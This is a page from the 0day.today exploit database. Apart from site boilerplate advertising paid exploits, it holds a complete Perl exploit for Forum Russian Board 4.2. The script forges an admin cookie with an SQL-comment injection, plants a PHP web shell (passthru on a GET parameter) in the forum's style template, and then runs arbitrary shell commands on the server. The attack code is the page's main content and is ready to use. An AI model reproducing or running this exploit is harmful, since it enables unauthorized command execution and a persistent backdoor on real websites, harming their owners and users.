0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Forum Russian Board 4.2 Full Command Execution Exploit
====================================================== Forum Russian Board 4.2 Full Command Execution Exploit ====================================================== #!/usr/bin/perl # Forum Russian Board 4.2 Full (FRB) (http://www.carline.ru , http://frb.ru) # command execution exploit by RST/GHC (http://rst.void.ru , http://ghc.ru) # bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf # RST/GHC - http://rst.void.ru , http://ghc.ru use IO::Socket; use Getopt::Std; getopts("h:p:u:i:c:"); $host = $opt_h; $path = $opt_p; $user = $opt_u; $id = $opt_i; $cmd = $opt_c || 'create'; $cmdspl = "%26%26"; # ; - for unix # %26%26 - for windows if(!$host || !$path) { usage(); } if(($cmd eq 'create' || $cmd eq 'delete') && (!$user || !$id)) { usage(); } $host =~ s/(http:\/\/)//g; $cook = $user."' /*"; if($cmd eq 'create' || $cmd eq 'delete'){ head(); print ">>> CREATE SHELL\n" if ($cmd eq 'create'); print ">>> DELETE SHELL\n" if ($cmd eq 'delete'); $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECT FAILED\n"; print $sock "GET ${path}admin/style_edit.php HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: */*\n"; print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n"; print $sock "Connection: close\n\n"; print "GETTING CURRENT STYLE ... ["; while ($res = <$sock>) { if($res =~ /(.*)<\/textarea>/) { $data .= $1; $p = 0; } $data .= $res if $p; if($res =~ s/(.*)(<textarea)([^<>]*)([>])(.*)/$5/) { $data .= $res; $p = 1; } } if(length($data)>0) { print " DONE ]\n"; } else { print " FAILED ]\n"; exit(); } if($data =~ /rst_ghc/) { if($cmd eq 'create') { print "SHELL ALREADY EXIST!"; exit(); } if($cmd eq 'delete') { print "SHELL EXIST.\nDELETING SHELL.\n"; $data =~ s/\s*<\? if\(\$_GET\[rst_ghc\]\)\{ passthru\(\$_GET\[rst_ghc\]\); \} \?>//g; } } else { if($cmd eq 'create') { $data .= "\n"; $data .= '<? if($_GET[rst_ghc]){ passthru($_GET[rst_ghc]); } ?>'; } if($cmd eq 'delete') { print "SHELL NOT EXIST. CAN'T DELETE."; exit(); } } $data =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $post = "message=${data}&form_h=yes&style_edit_ok=%C8%E7%EC%E5%ED%E8%F2%FC"; print "CREATE NEW STYLE ...["; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $sock "POST ${path}admin/style_edit.php HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\n\n"; print $sock "$post"; print $sock "\n\n"; print " DONE ]\n"; if($cmd eq 'create') { print "SHELL CREATED SUCCESSFULLY! NOW YOU CAN TRY EXECUTE COMMAND."; } if($cmd eq 'delete') { print "SHELL DELETED!"; } } else { head(); print ">>> COMMAND EXECUTE\n"; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECT FAILED\n"; print $sock "GET ${path}index.php?rst_ghc=echo%20_START_%20$cmdspl%20$cmd%20$cmdspl%20echo%20_END_%20; HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: */*\n"; print $sock "Connection: close\n\n"; while ($res = <$sock>) { if($res =~ /^_END_/) { $p = 0; } $data .= $res if $p; if($res =~ /^_START_/) { $p = 1; } } if(length($data)>0) { print "-----------------------------------------------------------------\n"; print $data; print "-----------------------------------------------------------------\n"; exit(0); } else { print "[-] FAILED\nMaybe you forget create shell first?\n"; exit(0); } } sub usage() { head(); print " USAGE : r57frb.pl [options]\n\n"; print " Options: \n"; print " -h - host e.g. '127.0.0.1' , 'www.frb.ru'\n"; print " -p - path to forum e.g. '/frb/' , '/forum/'\n"; print " -u - admin username e.g. 'admin'\n"; print " -i - admin id e.g. '1'\n"; print " -c [create|delete|cmd]\n"; print " create - for create shell\n"; print " delete - for delete shell\n"; print " cmd - any command for execute\n"; print "-----------------------------------------------------------------\n"; exit(0); } sub head() { print "-----------------------------------------------------------------\n"; print "Forum Russian Board 4.0 Full command execution exploit by RST/GHC\n"; print "-----------------------------------------------------------------\n"; } # 0day.today [2024-09-17] #